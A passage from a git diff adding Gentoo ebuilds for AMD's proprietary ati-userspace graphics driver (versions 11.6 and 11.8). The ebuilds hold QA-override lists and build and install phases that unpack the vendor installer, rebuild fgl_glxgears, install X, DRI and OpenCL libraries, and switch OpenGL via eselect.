+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch || die "Failed to epatch powermode-opt-path-2.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	use opencl && dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+	# OpenCL
+	if use opencl ; then
+		insinto /etc/OpenCL/vendors/
+		if [[ "${ABI}" == "amd64" ]] ; then
+			doins "${ARCH_DIR}"/etc/OpenCL/vendors/amdocl64.icd || die "doins failed"
+		else
+			doins "${ARCH_DIR}"/etc/OpenCL/vendors/amdocl32.icd || die "doins failed"
+		fi
+	fi
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)
+	if use opencl ; then
+		doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/lib*.so*
+	else
+		doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+	fi
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+}
+
+pkg_postinst() {
+	elog "To switch to ATI OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-11.6.ebuild b/x11-drivers/ati-userspace/ati-userspace-11.6.ebuild
new file mode 100644
index 00000000..94046c53
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-11.6.ebuild
@@ -0,0 +1,386 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.10.99
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	app-portage/portage-utils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch || die "Failed to epatch powermode-opt-path-2.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	local alllibdir="$(get_libdir)"
+	use multilib && alllibdir="lib64 lib32"
+	for libdir in ${alllibdir}
+	do
+		dosym /usr/${libdir}/opengl/xorg-x11/lib/libGL.so.1.2 \
+			/usr/${libdir}/fglrx/libGL.so.1.2
+		dosym ./libGL.so.1.2 /usr/${libdir}/fglrx/fglrx-libGL.so.1.2
+
+		# Fixup xvba-video compilation
+		dosym libXvBAW.so.1.0 /usr/${libdir}/libXvBAW.so
+	done
+
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+	# PowerXpress stuff
+	dosym /usr/$(get_libdir)/opengl/xorg-x11/lib/libGL.so.1.2 \
+		${ATI_ROOT}/lib/FGL.renamed.libGL.so.1.2
+	dosym ./libGL.so.1.2 ${ATI_ROOT}/lib/fglrx-libGL.so.1.2
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	dosym /usr/$(get_libdir)/opengl/xorg-x11/extensions/libglx.so \
+		${ATI_ROOT}/extensions/FGL.renamed.libglx.so
+	dosym fglrx-libglx.so ${ATI_ROOT}/extensions/libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal libraries
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+}
+
+pkg_postinst() {
+	elog "To switch to ATI OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "You will have to source /etc/profile (or logout and back in) for dri"
+	elog "to work, unless you previously had ati-drivers installed."
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-11.8.ebuild b/x11-drivers/ati-userspace/ati-userspace-11.8.ebuild
new file mode 100644
index 00000000..f38ceffa
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-11.8.ebuild
@@ -0,0 +1,398 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
